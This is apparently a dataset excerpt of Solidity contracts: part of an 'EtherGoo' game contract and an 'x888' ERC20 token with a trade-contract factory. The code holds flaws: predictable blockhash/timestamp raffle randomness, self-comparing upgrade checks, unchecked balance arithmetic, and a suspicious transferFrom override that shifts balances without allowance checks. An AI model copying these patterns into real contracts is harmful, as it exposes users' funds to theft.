uint256 upgradeClass;
uint256 unitId;
uint256 upgradeValue;
(upgradeClass, unitId, upgradeValue) = schema.getRareInfo(rareId);
upgradeUnitMultipliers(msg.sender, upgradeClass, unitId, upgradeValue);
updatePlayersGoo(previousOwner);
removeUnitMultipliers(previousOwner, upgradeClass, unitId, upgradeValue);
if (ethCost > msg.value) {
ethBalance[msg.sender] -= (ethCost - msg.value);
} else if (msg.value > ethCost) {
ethBalance[msg.sender] += msg.value - ethCost;
}
uint256 devFund = ethCost / 50;
uint256 dividends = ethCost / 20;
totalEtherGooResearchPool += dividends;
ethBalance[owner] += devFund;
rareItemOwner[rareId] = msg.sender;
rareItemPrice[rareId] = (ethCost * 5) / 4;
ethBalance[previousOwner] += ethCost - (dividends + devFund);
}
function withdrawEther(uint256 amount) external {
require(amount <= ethBalance[msg.sender]);
ethBalance[msg.sender] -= amount;
msg.sender.transfer(amount);
}
function claimResearchDividends(address referer, uint256 startSnapshot, uint256 endSnapShot) external {
require(startSnapshot <= endSnapShot);
require(startSnapshot >= lastGooResearchFundClaim[msg.sender]);
require(endSnapShot < allocatedGooResearchSnapshots.length);
uint256 researchShare;
uint256 previousProduction = gooProductionSnapshots[msg.sender][lastGooResearchFundClaim[msg.sender] - 1];
for (uint256 i = startSnapshot; i <= endSnapShot; i++) {
uint256 productionDuringSnapshot = gooProductionSnapshots[msg.sender][i];
bool soldAllProduction = gooProductionZeroedSnapshots[msg.sender][i];
if (productionDuringSnapshot == 0 && !soldAllProduction) {
productionDuringSnapshot = previousProduction;
} else {
previousProduction = productionDuringSnapshot;
}
researchShare += (allocatedGooResearchSnapshots[i] * productionDuringSnapshot) / totalGooProductionSnapshots[i];
}
if (gooProductionSnapshots[msg.sender][endSnapShot] == 0 && !gooProductionZeroedSnapshots[msg.sender][i] && previousProduction > 0) {
gooProductionSnapshots[msg.sender][endSnapShot] = previousProduction;
}
lastGooResearchFundClaim[msg.sender] = endSnapShot + 1;
uint256 referalDivs;
if (referer != address(0) && referer != msg.sender) {
referalDivs = researchShare / 100;
ethBalance[referer] += referalDivs;
}
ethBalance[msg.sender] += researchShare - referalDivs;
}
function snapshotDailyGooResearchFunding() external {
require(msg.sender == owner);
uint256 todaysEtherResearchFund = (totalEtherGooResearchPool / 10);
totalEtherGooResearchPool -= todaysEtherResearchFund;
totalGooProductionSnapshots.push(totalGooProduction);
allocatedGooResearchSnapshots.push(todaysEtherResearchFund);
nextSnapshotTime = block.timestamp + 24 hours;
}
function buyRaffleTicket(uint256 amount) external {
require(raffleEndTime >= block.timestamp);
require(amount > 0);
uint256 ticketsCost = SafeMath.mul(RAFFLE_TICKET_BASE_GOO_PRICE, amount);
require(balanceOf(msg.sender) >= ticketsCost);
updatePlayersGooFromPurchase(msg.sender, ticketsCost);
TicketPurchases storage purchases = ticketsBoughtByPlayer[msg.sender];
if (purchases.raffleRareId != raffleRareId) {
purchases.numPurchases = 0;
purchases.raffleRareId = raffleRareId;
rafflePlayers[raffleRareId].push(msg.sender);
}
if (purchases.numPurchases == purchases.ticketsBought.length) {
purchases.ticketsBought.length += 1;
}
purchases.ticketsBought[purchases.numPurchases++] = TicketPurchase(raffleTicketsBought, raffleTicketsBought + (amount - 1));
raffleTicketsBought += amount;
}
function startRareRaffle(uint256 endTime, uint256 rareId) external {
require(msg.sender == owner);
require(schema.validRareId(rareId));
require(rareItemOwner[rareId] == 0);
raffleWinningTicketSelected = false;
raffleTicketThatWon = 0;
raffleWinner = 0;
raffleTicketsBought = 0;
raffleEndTime = endTime;
raffleRareId = rareId;
}
function awardRafflePrize(address checkWinner, uint256 checkIndex) external {
require(raffleEndTime < block.timestamp);
require(raffleWinner == 0);
require(rareItemOwner[raffleRareId] == 0);
if (!raffleWinningTicketSelected) {
drawRandomWinner();
}
if (checkWinner != 0) {
TicketPurchases storage tickets = ticketsBoughtByPlayer[checkWinner];
if (tickets.numPurchases > 0 && checkIndex < tickets.numPurchases && tickets.raffleRareId == raffleRareId) {
TicketPurchase storage checkTicket = tickets.ticketsBought[checkIndex];
if (raffleTicketThatWon >= checkTicket.startId && raffleTicketThatWon <= checkTicket.endId) {
assignRafflePrize(checkWinner);
return;
}
}
}
for (uint256 i = 0; i < rafflePlayers[raffleRareId].length; i++) {
address player = rafflePlayers[raffleRareId][i];
TicketPurchases storage playersTickets = ticketsBoughtByPlayer[player];
uint256 endIndex = playersTickets.numPurchases - 1;
if (raffleTicketThatWon >= playersTickets.ticketsBought[0].startId && raffleTicketThatWon <= playersTickets.ticketsBought[endIndex].endId) {
for (uint256 j = 0; j < playersTickets.numPurchases; j++) {
TicketPurchase storage playerTicket = playersTickets.ticketsBought[j];
if (raffleTicketThatWon >= playerTicket.startId && raffleTicketThatWon <= playerTicket.endId) {
assignRafflePrize(player);
return;
}
}
}
}
}
function assignRafflePrize(address winner) internal {
raffleWinner = winner;
rareItemOwner[raffleRareId] = winner;
rareItemPrice[raffleRareId] = (schema.rareStartPrice(raffleRareId) * 21) / 20;
updatePlayersGoo(winner);
uint256 upgradeClass;
uint256 unitId;
uint256 upgradeValue;
(upgradeClass, unitId, upgradeValue) = schema.getRareInfo(raffleRareId);
upgradeUnitMultipliers(winner, upgradeClass, unitId, upgradeValue);
}
function drawRandomWinner() public {
require(msg.sender == owner);
require(raffleEndTime < block.timestamp);
require(!raffleWinningTicketSelected);
uint256 seed = raffleTicketsBought + block.timestamp;
raffleTicketThatWon = addmod(uint256(block.blockhash(block.number-1)), seed, raffleTicketsBought);
raffleWinningTicketSelected = true;
}
function protectAddress(address exchange, bool isProtected) external {
require(msg.sender == owner);
require(getGooProduction(exchange) == 0);
protectedAddresses[exchange] = isProtected;
}
function attackPlayer(address target) external {
require(battleCooldown[msg.sender] < block.timestamp);
require(target != msg.sender);
require(!protectedAddresses[target]);
uint256 attackingPower;
uint256 defendingPower;
uint256 stealingPower;
(attackingPower, defendingPower, stealingPower) = getPlayersBattlePower(msg.sender, target);
if (battleCooldown[target] > block.timestamp) {
defendingPower = schema.getWeakenedDefensePower(defendingPower);
}
if (attackingPower > defendingPower) {
battleCooldown[msg.sender] = block.timestamp + 30 minutes;
if (balanceOf(target) > stealingPower) {
uint256 unclaimedGoo = balanceOfUnclaimedGoo(target);
if (stealingPower > unclaimedGoo) {
uint256 gooDecrease = stealingPower - unclaimedGoo;
gooBalance[target] -= gooDecrease;
} else {
uint256 gooGain = unclaimedGoo - stealingPower;
gooBalance[target] += gooGain;
}
gooBalance[msg.sender] += stealingPower;
emit PlayerAttacked(msg.sender, target, true, stealingPower);
} else {
emit PlayerAttacked(msg.sender, target, true, balanceOf(target));
gooBalance[msg.sender] += balanceOf(target);
gooBalance[target] = 0;
}
lastGooSaveTime[target] = block.timestamp;
} else {
battleCooldown[msg.sender] = block.timestamp + 10 minutes;
emit PlayerAttacked(msg.sender, target, false, 0);
}
}
function getPlayersBattlePower(address attacker, address defender) internal constant returns (uint256, uint256, uint256) {
uint256 startId;
uint256 endId;
(startId, endId) = schema.battleUnitIdRange();
uint256 attackingPower;
uint256 defendingPower;
uint256 stealingPower;
while (startId <= endId) {
attackingPower += getUnitsAttack(attacker, startId, unitsOwned[attacker][startId]);
stealingPower += getUnitsStealingCapacity(attacker, startId, unitsOwned[attacker][startId]);
defendingPower += getUnitsDefense(defender, startId, unitsOwned[defender][startId]);
startId++;
}
return (attackingPower, defendingPower, stealingPower);
}
function getPlayersBattleStats(address player) external constant returns (uint256, uint256, uint256) {
uint256 startId;
uint256 endId;
(startId, endId) = schema.battleUnitIdRange();
uint256 attackingPower;
uint256 defendingPower;
uint256 stealingPower;
while (startId <= endId) {
attackingPower += getUnitsAttack(player, startId, unitsOwned[player][startId]);
stealingPower += getUnitsStealingCapacity(player, startId, unitsOwned[player][startId]);
defendingPower += getUnitsDefense(player, startId, unitsOwned[player][startId]);
startId++;
}
return (attackingPower, defendingPower, stealingPower);
}
function getUnitsProduction(address player, uint256 unitId, uint256 amount) internal constant returns (uint256) {
return (amount * (schema.unitGooProduction(unitId) + unitGooProductionIncreases[player][unitId]) * (10 + unitGooProductionMultiplier[player][unitId])) / 10;
}
function getUnitsAttack(address player, uint256 unitId, uint256 amount) internal constant returns (uint256) {
return (amount * (schema.unitAttack(unitId) + unitAttackIncreases[player][unitId]) * (10 + unitAttackMultiplier[player][unitId])) / 10;
}
function getUnitsDefense(address player, uint256 unitId, uint256 amount) internal constant returns (uint256) {
return (amount * (schema.unitDefense(unitId) + unitDefenseIncreases[player][unitId]) * (10 + unitDefenseMultiplier[player][unitId])) / 10;
}
function getUnitsStealingCapacity(address player, uint256 unitId, uint256 amount) internal constant returns (uint256) {
return (amount * (schema.unitStealingCapacity(unitId) + unitGooStealingIncreases[player][unitId]) * (10 + unitGooStealingMultiplier[player][unitId])) / 10;
}
function getGameInfo() external constant returns (uint256, uint256, uint256, uint256, uint256, uint256, uint256, uint256[], bool[]){
uint256[] memory units = new uint256[](schema.currentNumberOfUnits());
bool[] memory upgrades = new bool[](schema.currentNumberOfUpgrades());
uint256 startId;
uint256 endId;
(startId, endId) = schema.productionUnitIdRange();
uint256 i;
while (startId <= endId) {
units[i] = unitsOwned[msg.sender][startId];
i++;
startId++;
}
(startId, endId) = schema.battleUnitIdRange();
while (startId <= endId) {
units[i] = unitsOwned[msg.sender][startId];
i++;
startId++;
}
i = 0;
(startId, endId) = schema.upgradeIdRange();
while (startId <= endId) {
upgrades[i] = upgradesOwned[msg.sender][startId];
i++;
startId++;
}
return (block.timestamp, totalEtherGooResearchPool, totalGooProduction, nextSnapshotTime, balanceOf(msg.sender), ethBalance[msg.sender], getGooProduction(msg.sender), units, upgrades);
}
function getRareItemInfo() external constant returns (address[], uint256[]) {
address[] memory itemOwners = new address[](schema.currentNumberOfRares());
uint256[] memory itemPrices = new uint256[](schema.currentNumberOfRares());
uint256 startId;
uint256 endId;
(startId, endId) = schema.rareIdRange();
uint256 i;
while (startId <= endId) {
itemOwners[i] = rareItemOwner[startId];
itemPrices[i] = rareItemPrice[startId];
i++;
startId++;
}
return (itemOwners, itemPrices);
}
function viewUnclaimedResearchDividends() external constant returns (uint256, uint256, uint256) {
uint256 startSnapshot = lastGooResearchFundClaim[msg.sender];
uint256 latestSnapshot = allocatedGooResearchSnapshots.length - 1;
uint256 researchShare;
uint256 previousProduction = gooProductionSnapshots[msg.sender][lastGooResearchFundClaim[msg.sender] - 1];
for (uint256 i = startSnapshot; i <= latestSnapshot; i++) {
uint256 productionDuringSnapshot = gooProductionSnapshots[msg.sender][i];
bool soldAllProduction = gooProductionZeroedSnapshots[msg.sender][i];
if (productionDuringSnapshot == 0 && !soldAllProduction) {
productionDuringSnapshot = previousProduction;
} else {
previousProduction = productionDuringSnapshot;
}
researchShare += (allocatedGooResearchSnapshots[i] * productionDuringSnapshot) / totalGooProductionSnapshots[i];
}
return (researchShare, startSnapshot, latestSnapshot);
}
function getRafflePlayers(uint256 raffleId) external constant returns (address[]) {
return (rafflePlayers[raffleId]);
}
function getPlayersTickets(address player) external constant returns (uint256[], uint256[]) {
TicketPurchases storage playersTickets = ticketsBoughtByPlayer[player];
if (playersTickets.raffleRareId == raffleRareId) {
uint256[] memory startIds = new uint256[](playersTickets.numPurchases);
uint256[] memory endIds = new uint256[](playersTickets.numPurchases);
for (uint256 i = 0; i < playersTickets.numPurchases; i++) {
startIds[i] = playersTickets.ticketsBought[i].startId;
endIds[i] = playersTickets.ticketsBought[i].endId;
}
}
return (startIds, endIds);
}
function getLatestRaffleInfo() external constant returns (uint256, uint256, uint256, address, uint256) {
return (raffleEndTime, raffleRareId, raffleTicketsBought, raffleWinner, raffleTicketThatWon);
}
function updateGooConfig(address newSchemaAddress) external {
require(msg.sender == owner);
GooGameConfig newSchema = GooGameConfig(newSchemaAddress);
requireExistingUnitsSame(newSchema);
requireExistingUpgradesSame(newSchema);
schema = GooGameConfig(newSchema);
}
function requireExistingUnitsSame(GooGameConfig newSchema) internal constant {
uint256 startId;
uint256 endId;
(startId, endId) = schema.productionUnitIdRange();
while (startId <= endId) {
require(schema.unitEthCost(startId) == newSchema.unitEthCost(startId));
require(schema.unitGooProduction(startId) == newSchema.unitGooProduction(startId));
startId++;
}
(startId, endId) = schema.battleUnitIdRange();
while (startId <= endId) {
require(schema.unitEthCost(startId) == newSchema.unitEthCost(startId));
require(schema.unitAttack(startId) == newSchema.unitAttack(startId));
require(schema.unitDefense(startId) == newSchema.unitDefense(startId));
require(schema.unitStealingCapacity(startId) == newSchema.unitStealingCapacity(startId));
startId++;
}
}
function requireExistingUpgradesSame(GooGameConfig newSchema) internal constant {
uint256 startId;
uint256 endId;
uint256 oldClass;
uint256 oldUnitId;
uint256 oldValue;
uint256 newClass;
uint256 newUnitId;
uint256 newValue;
(startId, endId) = schema.rareIdRange();
while (startId <= endId) {
uint256 oldGooCost;
uint256 oldEthCost;
(oldGooCost, oldEthCost, oldClass, oldUnitId, oldValue) = schema.getUpgradeInfo(startId);
uint256 newGooCost;
uint256 newEthCost;
(newGooCost, newEthCost, newClass, newUnitId, newValue) = newSchema.getUpgradeInfo(startId);
require(oldGooCost == newGooCost);
require(oldEthCost == oldEthCost);
require(oldClass == oldClass);
require(oldUnitId == newUnitId);
require(oldValue == newValue);
startId++;
}
(startId, endId) = schema.rareIdRange();
while (startId <= endId) {
(oldClass, oldUnitId, oldValue) = schema.getRareInfo(startId);
(newClass, newUnitId, newValue) = newSchema.getRareInfo(startId);
require(oldClass == newClass);
require(oldUnitId == newUnitId);
require(oldValue == newValue);
startId++;
}
}
}
contract GooGameConfig {
mapping(uint256 => Unit) private unitInfo;
mapping(uint256 => Upgrade) private upgradeInfo;
mapping(uint256 => Rare) private rareInfo;
uint256 public constant currentNumberOfUnits = 14;
uint256 public constant currentNumberOfUpgrades = 42;
uint256 public constant currentNumberOfRares = 2;
struct Unit {
uint256 unitId;
uint256 baseGooCost;
uint256 gooCostIncreaseHalf;
uint256 ethCost;
uint256 baseGooProduction;
uint256 attackValue;
uint256 defenseValue;
uint256 gooStealingCapacity;
}
struct Upgrade {
uint256 upgradeId;
uint256 gooCost;
uint256 ethCost;
uint256 upgradeClass;
uint256 unitId;
uint256 upgradeValue;
}
struct Rare {
uint256 rareId;
uint256 ethCost;
uint256 rareClass;
uint256 unitId;
uint256 rareValue;
}
function GooGameConfig() public {
unitInfo[1] = Unit(1, 0, 10, 0, 1, 0, 0, 0);
unitInfo[2] = Unit(2, 100, 50, 0, 2, 0, 0, 0);
unitInfo[3] = Unit(3, 0, 0, 0.01 ether, 12, 0, 0, 0);
unitInfo[4] = Unit(4, 500, 250, 0, 4, 0, 0, 0);
unitInfo[5] = Unit(5, 2500, 1250, 0, 6, 0, 0, 0);
unitInfo[6] = Unit(6, 10000, 5000, 0, 8, 0, 0, 0);
unitInfo[7] = Unit(7, 0, 1000, 0.05 ether, 60, 0, 0, 0);
unitInfo[8] = Unit(8, 25000, 12500, 0, 10, 0, 0, 0);
unitInfo[40] = Unit(40, 100, 50, 0, 0, 10, 10, 20);
unitInfo[41] = Unit(41, 250, 125, 0, 0, 1, 25, 1);
unitInfo[42] = Unit(42, 0, 50, 0.01 ether, 0, 100, 10, 5);
unitInfo[43] = Unit(43, 1000, 500, 0, 0, 25, 1, 50);
unitInfo[44] = Unit(44, 2500, 1250, 0, 0, 20, 40, 100);
unitInfo[45] = Unit(45, 0, 500, 0.02 ether, 0, 0, 0, 1000);
upgradeInfo[1] = Upgrade(1, 500, 0, 0, 1, 1);
upgradeInfo[2] = Upgrade(2, 0, 0.1 ether, 1, 1, 10);
upgradeInfo[3] = Upgrade(3, 10000, 0, 1, 1, 5);
upgradeInfo[4] = Upgrade(4, 0, 0.1 ether, 0, 2, 2);
upgradeInfo[5] = Upgrade(5, 2000, 0, 1, 2, 5);
upgradeInfo[6] = Upgrade(6, 0, 0.2 ether, 0, 2, 2);
upgradeInfo[7] = Upgrade(7, 2500, 0, 0, 3, 2);
upgradeInfo[8] = Upgrade(8, 0, 0.5 ether, 1, 3, 10);
upgradeInfo[9] = Upgrade(9, 25000, 0, 1, 3, 5);
upgradeInfo[10] = Upgrade(10, 0, 0.1 ether, 0, 4, 1);
upgradeInfo[11] = Upgrade(11, 5000, 0, 1, 4, 5);
upgradeInfo[12] = Upgrade(12, 0, 0.2 ether, 0, 4, 2);
upgradeInfo[13] = Upgrade(13, 10000, 0, 0, 5, 2);
upgradeInfo[14] = Upgrade(14, 0, 0.5 ether, 1, 5, 10);
upgradeInfo[15] = Upgrade(15, 25000, 0, 1, 5, 5);
upgradeInfo[16] = Upgrade(16, 0, 0.1 ether, 0, 6, 1);
upgradeInfo[17] = Upgrade(17, 25000, 0, 1, 6, 5);
upgradeInfo[18] = Upgrade(18, 0, 0.2 ether, 0, 6, 2);
upgradeInfo[19] = Upgrade(13, 50000, 0, 0, 7, 2);
upgradeInfo[20] = Upgrade(20, 0, 0.2 ether, 1, 7, 5);
upgradeInfo[21] = Upgrade(21, 100000, 0, 1, 7, 5);
upgradeInfo[22] = Upgrade(22, 0, 0.1 ether, 0, 8, 2);
upgradeInfo[23] = Upgrade(23, 25000, 0, 1, 8, 5);
upgradeInfo[24] = Upgrade(24, 0, 0.2 ether, 0, 8, 4);
upgradeInfo[25] = Upgrade(25, 500, 0, 2, 40, 10);
upgradeInfo[26] = Upgrade(26, 0, 0.1 ether, 4, 40, 10);
upgradeInfo[27] = Upgrade(27, 10000, 0, 6, 40, 10);
upgradeInfo[28] = Upgrade(28, 0, 0.2 ether, 3, 41, 5);
upgradeInfo[29] = Upgrade(29, 5000, 0, 4, 41, 10);
upgradeInfo[30] = Upgrade(30, 0, 0.5 ether, 6, 41, 4);
upgradeInfo[31] = Upgrade(31, 2500, 0, 5, 42, 5);
upgradeInfo[32] = Upgrade(32, 0, 0.2 ether, 6, 42, 10);
upgradeInfo[33] = Upgrade(33, 20000, 0, 7, 42, 5);
upgradeInfo[34] = Upgrade(34, 0, 0.1 ether, 2, 43, 5);
upgradeInfo[35] = Upgrade(35, 10000, 0, 4, 43, 5);
upgradeInfo[36] = Upgrade(36, 0, 0.2 ether, 5, 43, 5);
upgradeInfo[37] = Upgrade(37, 0, 0.1 ether, 2, 44, 15);
upgradeInfo[38] = Upgrade(38, 25000, 0, 3, 44, 5);
upgradeInfo[39] = Upgrade(39, 0, 0.2 ether, 4, 44, 15);
upgradeInfo[40] = Upgrade(40, 50000, 0, 6, 45, 500);
upgradeInfo[41] = Upgrade(41, 0, 0.5 ether, 7, 45, 10);
upgradeInfo[42] = Upgrade(42, 250000, 0, 7, 45, 5);
rareInfo[1] = Rare(1, 0.5 ether, 1, 1, 30);
rareInfo[2] = Rare(2, 0.5 ether, 0, 2, 4);
}
function getGooCostForUnit(uint256 unitId, uint256 existing, uint256 amount) public constant returns (uint256) {
if (amount == 1) {
if (existing == 0) {
return unitInfo[unitId].baseGooCost;
} else {
return unitInfo[unitId].baseGooCost + (existing * unitInfo[unitId].gooCostIncreaseHalf * 2);
}
} else if (amount > 1) {
uint256 existingCost;
if (existing > 0) {
existingCost = (unitInfo[unitId].baseGooCost * existing) + (existing * (existing - 1) * unitInfo[unitId].gooCostIncreaseHalf);
}
existing += amount;
uint256 newCost = SafeMath.add(SafeMath.mul(unitInfo[unitId].baseGooCost, existing), SafeMath.mul(SafeMath.mul(existing, (existing - 1)), unitInfo[unitId].gooCostIncreaseHalf));
return newCost - existingCost;
}
}
function getWeakenedDefensePower(uint256 defendingPower) external constant returns (uint256) {
return defendingPower / 2;
}
function validUnitId(uint256 unitId) external constant returns (bool) {
return ((unitId > 0 && unitId < 9) || (unitId > 39 && unitId < 46));
}
function validUpgradeId(uint256 upgradeId) external constant returns (bool) {
return (upgradeId > 0 && upgradeId < 43);
}
function validRareId(uint256 rareId) external constant returns (bool) {
return (rareId > 0 && rareId < 3);
}
function unitEthCost(uint256 unitId) external constant returns (uint256) {
return unitInfo[unitId].ethCost;
}
function unitGooProduction(uint256 unitId) external constant returns (uint256) {
return unitInfo[unitId].baseGooProduction;
}
function unitAttack(uint256 unitId) external constant returns (uint256) {
return unitInfo[unitId].attackValue;
}
function unitDefense(uint256 unitId) external constant returns (uint256) {
return unitInfo[unitId].defenseValue;
}
function unitStealingCapacity(uint256 unitId) external constant returns (uint256) {
return unitInfo[unitId].gooStealingCapacity;
}
function rareStartPrice(uint256 rareId) external constant returns (uint256) {
return rareInfo[rareId].ethCost;
}
function productionUnitIdRange() external constant returns (uint256, uint256) {
return (1, 8);
}
function battleUnitIdRange() external constant returns (uint256, uint256) {
return (40, 45);
}
function upgradeIdRange() external constant returns (uint256, uint256) {
return (1, 42);
}
function rareIdRange() external constant returns (uint256, uint256) {
return (1, 2);
}
function getUpgradeInfo(uint256 upgradeId) external constant returns (uint256, uint256, uint256, uint256, uint256) {
return (upgradeInfo[upgradeId].gooCost, upgradeInfo[upgradeId].ethCost, upgradeInfo[upgradeId].upgradeClass,
upgradeInfo[upgradeId].unitId, upgradeInfo[upgradeId].upgradeValue);
}
function getRareInfo(uint256 rareId) external constant returns (uint256, uint256, uint256) {
return (rareInfo[rareId].rareClass, rareInfo[rareId].unitId, rareInfo[rareId].rareValue);
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
} | 0 | 773 |
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
uint256 _allowance = allowed[_from][msg.sender];
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function increaseApproval (address _spender, uint _addedValue)
returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue)
returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Owned
{
address public owner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned()
{
owner = msg.sender;
}
modifier onlyOwner
{
require (msg.sender == owner);
_;
}
modifier onlyOwnerOrTokenTraderWithSameOwner
{
require (msg.sender == owner && TokenTrader(msg.sender).owner() == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner
{
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract x888 is StandardToken, Owned
{
using SafeMath for uint256;
string public name = "Meta Exchange x888";
string public symbol = "X888";
uint8 public constant decimals = 6;
uint256 version = 10020010009;
uint256 public totalSupply = 5125387888 * (uint256(10) ** decimals);
uint256 public exchFee = uint256(1 * (uint256(10) ** (decimals - 2)));
uint256 public startTimestamp;
uint256 public avgRate = uint256(uint256(10)**(18-decimals)).div(888);
address public stuff = 0x0CcCb9bAAdD61F9e0ab25bD782765013817821bD;
address public teama = 0x20f349917d2521c41f8ec9c0a1f7e0c36af0b46f;
address public baseowner;
mapping(address => bool) _verify;
mapping(uint256 => address) _mks;
uint256 public makersCount;
event LogTransfer(address sender, address to, uint amount);
event Clearing(address to, uint256 amount);
event TradeListing(address indexed ownerAddress, address indexed tokenTraderAddress,
address indexed asset, uint256 buyPrice, uint256 sellPrice, uint256 units,
bool buysTokens, bool sellsTokens);
event OwnerWithdrewERC20Token(address indexed tokenAddress, uint256 tokens);
function x888()
{
makersCount = 0;
startTimestamp = now;
baseowner = msg.sender;
balances[baseowner] = totalSupply;
Transfer(0x0, baseowner, totalSupply);
}
function bva(address partner, uint256 value, address adviser)payable public
{
uint256 tokenAmount = calcTotal(value);
if(msg.value != 0)
{
tokenAmount = calcCount(msg.value);
}else
{
require(msg.sender == stuff);
}
if(msg.value != 0)
{
Clearing(stuff, msg.value.mul(40).div(100));
stuff.transfer(msg.value.mul(40).div(100));
Clearing(teama, msg.value.mul(40).div(100));
teama.transfer(msg.value.mul(40).div(100));
if(partner != adviser && balances[adviser]!=0)
{
Clearing(adviser, msg.value.mul(20).div(100));
adviser.transfer(msg.value.mul(20).div(100));
}else
{
Clearing(stuff, msg.value.mul(10).div(100));
stuff.transfer(msg.value.mul(10).div(100));
Clearing(teama, msg.value.mul(10).div(100));
teama.transfer(msg.value.mul(10).div(100));
}
}
balances[baseowner] = balances[baseowner].sub(tokenAmount);
balances[partner] = balances[partner].add(tokenAmount);
Transfer(baseowner, partner, tokenAmount);
}
function() payable public
{
if(msg.value != 0)
{
uint256 tokenAmount = msg.value.div(avgRate);
Clearing(stuff, msg.value.mul(50).div(100));
stuff.transfer(msg.value.mul(50).div(100));
Clearing(teama, msg.value.mul(50).div(100));
teama.transfer(msg.value.mul(50).div(100));
if(msg.sender!=stuff)
{
balances[baseowner] = balances[baseowner].sub(tokenAmount);
balances[msg.sender] = balances[msg.sender].add(tokenAmount);
Transfer(baseowner, msg.sender, tokenAmount);
}
}
}
function calcTotal(uint256 count) constant returns(uint256)
{
return count.mul(getDeflator()).div(100);
}
function calcCount(uint256 weiAmount) constant returns(uint256)
{
return weiAmount.div(avgRate).mul(getDeflator()).div(100);
}
function getDeflator() constant returns (uint256)
{
if (now <= startTimestamp + 28 days)
{
return 138;
}else if (now <= startTimestamp + 56 days)
{
return 123;
}else if (now <= startTimestamp + 84 days)
{
return 115;
}else if (now <= startTimestamp + 112 days)
{
return 109;
}else if (now <= startTimestamp + 140 days)
{
return 105;
}else
{
return 100;
}
}
function verify(address tradeContract) constant returns (
bool valid,
address owner,
address asset,
uint256 buyPrice,
uint256 sellPrice,
uint256 units,
bool buysTokens,
bool sellsTokens
)
{
valid = _verify[tradeContract];
if (valid)
{
TokenTrader t = TokenTrader(tradeContract);
owner = t.owner();
asset = t.asset();
buyPrice = t.buyPrice();
sellPrice = t.sellPrice();
units = t.units();
buysTokens = t.buysTokens();
sellsTokens = t.sellsTokens();
}
}
function getTrader(uint256 id) public constant returns (
bool valid,
address trade,
address owner,
address asset,
uint256 buyPrice,
uint256 sellPrice,
uint256 units,
bool buysTokens,
bool sellsTokens
)
{
if(id < makersCount)
{
trade = _mks[id];
valid = _verify[trade];
if (valid)
{
TokenTrader t = TokenTrader(trade);
owner = t.owner();
asset = t.asset();
buyPrice = t.buyPrice();
sellPrice = t.sellPrice();
units = t.units();
buysTokens = t.buysTokens();
sellsTokens = t.sellsTokens();
}
}
}
function createTradeContract(
address asset,
uint256 buyPrice,
uint256 sellPrice,
uint256 units,
bool buysTokens,
bool sellsTokens
) public returns (address trader)
{
require (balances[msg.sender] > 1000 * (uint256(10) ** decimals));
require (asset != 0x0);
require(buyPrice > 0 && sellPrice > 0);
require(buyPrice < sellPrice);
require(units > 0);
trader = new TokenTrader(
asset,
exchFee,
address(this),
buyPrice,
sellPrice,
units,
buysTokens,
sellsTokens);
_verify[trader] = true;
_mks[makersCount] = trader;
makersCount = makersCount.add(1);
balances[baseowner] += 1000 * (uint256(10) ** decimals);
balances[msg.sender] -= 1000 * (uint256(10) ** decimals);
TokenTrader(trader).transferOwnership(msg.sender);
TradeListing(msg.sender, trader, asset, buyPrice, sellPrice, units, buysTokens, sellsTokens);
}
function cleanup()
{
revert();
}
function transfer(address _to, uint _value) returns (bool)
{
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint _value) returns (bool)
{
if(_verify[msg.sender] && _from==msg.sender)
{
TokenTrader t = TokenTrader(_from);
if(balances[address(t.owner)]>_value)
{
balances[address(t.owner)] += _value;
balances[_to] -= _value;
return true;
}
}
return super.transferFrom(_from, _to, _value);
}
function allowance(address _owner, address _spender) constant returns (uint remaining)
{
return super.allowance(_owner, _spender);
}
}
contract ERCTW
{
function totalSupply() constant returns (uint256);
function balanceOf(address _owner) constant returns (uint256);
